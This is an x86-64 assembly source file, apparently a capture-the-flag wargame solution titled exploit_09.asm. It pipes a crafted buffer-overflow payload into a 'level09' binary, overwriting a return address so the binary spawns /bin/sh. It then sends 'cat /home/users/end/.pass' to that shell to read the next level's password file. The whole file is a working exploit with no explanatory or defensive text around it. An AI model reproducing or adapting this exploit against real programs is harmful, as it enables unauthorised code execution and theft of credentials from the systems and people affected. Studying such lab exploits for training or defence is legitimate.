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exploit_09.asm
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89 lines (77 loc) · 1.38 KB
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format ELF64 executable $03
entry _start
struc string data*& {
.: db data
.length = ($ - .)
}
struc timespec {
.tv_sec: rq $01
.tv_nsec: rq $01
}
virtual at $00
timespec timespec
timespec.sizeof = $
end virtual
segment executable readable
_start:
and rsp, not $0F
sub rsp, $08
mov rax, $16
mov rdi, rsp
syscall
test rax, rax
jnz .exit
mov rax, $01
mov edi, dword [rsp+$04]
mov rsi, _payload
mov rdx, _payload.length
syscall
mov rax, $21
mov edi, dword [rsp]
xor rsi, rsi
syscall
mov rax, $39
syscall
test rax, rax
jz .child
mov rcx, timespec.sizeof
sub rsp, rcx
xor al, al
mov rdi, rsp
cld
rep stosb
mov byte [rsp+timespec.tv_sec], $01
mov rax, $23
mov rdi, rsp
xor rsi, rsi
syscall
add rsp, timespec.sizeof
mov rax, $01
mov edi, dword [rsp+$04]
mov rsi, _command
mov rdx, _command.length
syscall
jmp .exit
.child:
mov rax, $3B
mov rdi, _program
xor rdx, rdx
push rdx rdi
mov rsi, rsp
syscall
.exit:
mov rax, $3C
xor rdi, rdi
syscall
segment readable
_program: db "/home/users/level09/level09", $00
_command string "cat /home/users/end/.pass", $0A
_payload:
db $28 dup '_'
db $FF
db $0A
db $C8 dup '_'
dq $55555555488C
db $0A
db "/bin/sh", $0A
_payload.length = ($ - _payload)